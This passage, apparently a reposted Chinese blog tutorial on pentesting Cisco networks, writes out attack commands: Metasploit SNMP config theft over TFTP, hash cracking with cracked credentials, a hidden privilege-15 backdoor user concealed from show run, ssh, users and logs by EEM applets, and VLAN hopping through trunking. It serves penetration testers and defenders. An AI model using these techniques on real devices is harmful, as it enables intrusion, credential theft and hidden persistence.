msf6 auxiliary(scanner/snmp/cisco_config_tftp) > set COMMUNITY private
msf6 auxiliary(scanner/snmp/cisco_config_tftp) > set RHOSTS 10.10.100.10
msf6 auxiliary(scanner/snmp/cisco_config_tftp) > set LHOST 10.10.100.50
msf6 auxiliary(scanner/snmp/cisco_config_tftp) > set OUTPUTDIR /home/necreas1ng/snmp
msf6 auxiliary(scanner/snmp/cisco_config_tftp) > exploit

启动模块后,地址为10.10.100.10(10.10.100.10.txt)的主机配置会下载到指定文件夹。

思科网络渗透测试 Pentesting Cisco networks
SW1设备配置部分内容

8.2 snmp_enum

使用此模块,您可以找到有关目标硬件的信息。一切都完全相同:指定COMMUNITY(顺便说一下,即使是具有RO 权限的字符串也可以)和目标设备的 IP 地址。

msf6 auxiliary(scanner/snmp/snmp_enum) > set COMMUNITY public
msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.10.100.10
msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
思科网络渗透测试 Pentesting Cisco networks
通过 SNMP 接收的有关设备的信息

9. 被黑客入侵的思科设备的后期利用

9.1 暴力破解hash

当您列出设备配置时,尝试暴力破解密码哈希是有意义的。也许您可以暴力破解具有最高权限的帐户的密码哈希。Cisco IOS 中有多种类型的密码以加密形式存储。下表将指导您了解哈希类型、如何进行暴力破解以及需要多长时间。

思科网络渗透测试 Pentesting Cisco networks
Cisco IOS 中的哈希表

现在让我们继续讨论暴力破解本身。在 show run 命令的输出中,您可能会遇到这些行。

思科网络渗透测试 Pentesting Cisco networks
加密形式的帐户及其密码

我将使用 John the Ripper 实用程序暴力破解哈希。我将对散列进行一些格式化,以便“John”能够识别文件中的散列本身,我们将其作为输入提供。

思科网络渗透测试 Pentesting Cisco networks
格式化前
思科网络渗透测试 Pentesting Cisco networks
格式化后

让我们开始暴力破解。使用–wordlist开关指定密码字典的路径。“John”将确定文件内的哈希类型。

~$ john hashes --wordlist=wordlistforbrute
思科网络渗透测试 Pentesting Cisco networks
破解用户密码

信用:anxious:Secret123 lies:P@ssw0rd

让我们尝试以用户 lie 访问路由器10.10.10.100

思科网络渗透测试 Pentesting Cisco networks
登录路由器控制面板

9.2 思科 EEM

容我们说,Cisco EEM 是一种“编程语言”,可用于为 Cisco IOS 编写脚本并自动执行日常任务。在渗透测试中,Cisco EEM 将帮助我们隐藏我们在被黑设备上创建的用户。

但!这种方法也有它的缺点:

  • 被 SYSLOG 或 SNMP 服务器日志捕获的可能性很小
  • 如果网络工程师也使用 Cisco EEM,他可能会怀疑有问题

首先,我们需要自己创建用户,该用户将用于附加到硬件。确保昵称也有前缀hidden_。使用此前缀,我们将隐藏使用掩码创建的用户| hidden

Owned(config)# username hidden_grimoire privilege 15 secret youcantseewhatyouwannasee

9.2.1 隐藏 show run 命令的输出

该命令经常被网络工程师使用,它输出当前正在使用的设备的配置。

Owned(config)# event manager applet hide_from_showrun
Owned(config-applet)# event cli pattern "show run" sync yes
Owned(config-applet)# action 0.0 cli command "enable"
Owned(config-applet)# action 1.0 cli command "show run | exclude hidden | event | action"
Owned(config-applet)# action 2.0 puts "$_cli_result_showrunapplet"

9.2.2 隐藏 show ssh 命令的输出

此命令显示通过 SSH 连接的当前活动用户

Owned(config)# event manager applet hide_from_showssh
Owned(config-applet)# event cli pattern "show ssh" sync yes
Owned(config-applet)# action 0.0 cli command "enable"
Owned(config-applet)# action 1.0 cli command "show ssh | exclude hidden"
Owned(config-applet)# action 2.0 puts "$_cli_result_showsshapplet"

9.2.3 隐藏 show users 命令的输出

显示当前通过 VTY 连接的活动用户。这些通常是远程 Telnet 和 SSH 会话。

Owned(config)# event manager applet hide_from_showusers
Owned(config-applet)# event cli pattern "show users" sync yes
Owned(config-applet)# action 0.0 cli command "enable"
Owned(config-applet)# action 1.0 cli command "show users | exclude hidden"
Owned(config-applet)# action 2.0 puts "$_cli_result_showusersapplet"

9.2.4 隐藏 show log 命令的输出(本地 Cisco IOS 日志记录)

Owned(config)# event manager applet hide_from_showlog
Owned(config-applet)# event cli pattern "show log" sync yes
Owned(config-applet)# action 0.0 cli command "enable"
Owned(config-applet)# action 1.0 cli command "show log | exclude HA_EM | hidden"
Owned(config-applet)# action 2.0 puts "$_cli_result_showlogapplet"

EEM 小程序有很多有趣的功能,我建议您不要局限于这些方式

9.3 横向 VLAN 分段绕过

如果您可以访问直接连接的交换机,则可以绕过网络中的 VLAN 分段。只需将端口切换到中继模式(也称为中继),使用目标 VLAN 的 ID 创建虚拟接口,并配置 IP 地址。您可以尝试动态请求地址 (DHCP),也可以静态配置。这取决于具体情况。

首先,您需要准确找出您连接的端口。这是通过 CDP 消息完成的,或者您可以通过掩码include搜索端口。

思科网络渗透测试 Pentesting Cisco networks
来自交换机的 CDP 公告。
我们在 GigabitEthernet0/2 端口

如果 CDP 突然被禁用,您可以尝试通过我们的 MAC 地址搜索端口。

SW1(config)# show mac address-table | include 0050.0000.0500
思科网络渗透测试 Pentesting Cisco networks
通过 MAC 地址找到 Gi0/2 端口

在我们切换到中继模式之前,我们需要列出现有的 VLAN 并找出它们的标识符。然后我们将这些标识符挂在我们的接口上以访问 VLAN。因此,多亏了中继,我们可以访问任何 VLAN。顺便说一句,我们连接的端口属于 VLAN 10。

SW1# show vlan brief
思科网络渗透测试 Pentesting Cisco networks
显示 VLAN 简介(VLAN 10、20、50、60)

开始了。进入接口配置模式并进入中继模式。

SW1(config)# interface GigabitEthernet 0/2
SW1(config-if)# switchport trunk encapsulation dot1q
SW1(config-if)# switchport mode trunk

在切换到中继模式期间,连接丢失。但我会解决这个问题。

思科网络渗透测试 Pentesting Cisco networks
端口模式切换时的连接丢失

创建虚拟接口并在其上“挂起”VLAN ID,然后提升它们。

~$ sudo vconfig add eth0 10
~$ sudo vconfig add eth0 20
~$ sudo vconfig add eth0 50
~$ sudo vconfig add eth0 60
~$ sudo ifconfig eth0.10 up
~$ sudo ifconfig eth0.20 up
~$ sudo ifconfig eth0.50 up
~$ sudo ifconfig eth0.60 up

现在您需要通过 DHCP 请求地址。但是,如果在您的情况下这是不可能的,您可以静态设置地址。

~$ sudo dhclient -v eth0.10
~$ sudo dhclient -v eth0.20
~$ sudo dhclient -v eth0.50
~$ sudo dhclient -v eth0.60
思科网络渗透测试 Pentesting Cisco networks

在接口(VLAN 10)上配置静态 IP 地址的示例:

~$ sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0

为了测试连接,我向VLAN 10、20、50、60的默认网关发起 ICMP 请求

思科网络渗透测试 Pentesting Cisco networks
检查连接性

最后,我绕过了 VLAN分段,可以进入任何 VLAN 网络,这让我可以轻松进行下一步。

9.4 配置枚举

您可以使用show run命令找出当前正在运行的配置。这揭示了基础设施的一些特点。也许这些信息会引导你在渗透测试中更轻松地“获胜”。例如,您突然发现使用了 AAA 服务器,这为您提供了另一个攻击媒介。

Owned(config)# show run
思科网络渗透测试 Pentesting Cisco networks
思科网络渗透测试 Pentesting Cisco networks

9.4.1 CCAT

CCAT(Cisco Config Analysis Tool)是一种特殊工具,旨在分析 Cisco 硬件配置文件中的安全漏洞。它有助于自动化查找安全错误配置的过程,并且对渗透测试者和网络管理员都很有用。

~/ccat$ python3 ccat.py showrunfromsw1.txt
思科网络渗透测试 Pentesting Cisco networks
CCAT 分析配置文件

其他

如果由短视的网络工程师管理使用思科设备的网络,这些都是可能出现的噩梦。我花了一个半月的时间进行这项研究,并且对攻击基于 Cisco 的网络时有多少攻击向量感到惊讶。我非常希望我的研究能够为渗透测试者提供新的攻击媒介,并且网络管理员会考虑他们网络的安全性并采取行动。

from

转载请注明出处及链接

Leave a Reply

您的电子邮箱地址不会被公开。 必填项已用 * 标注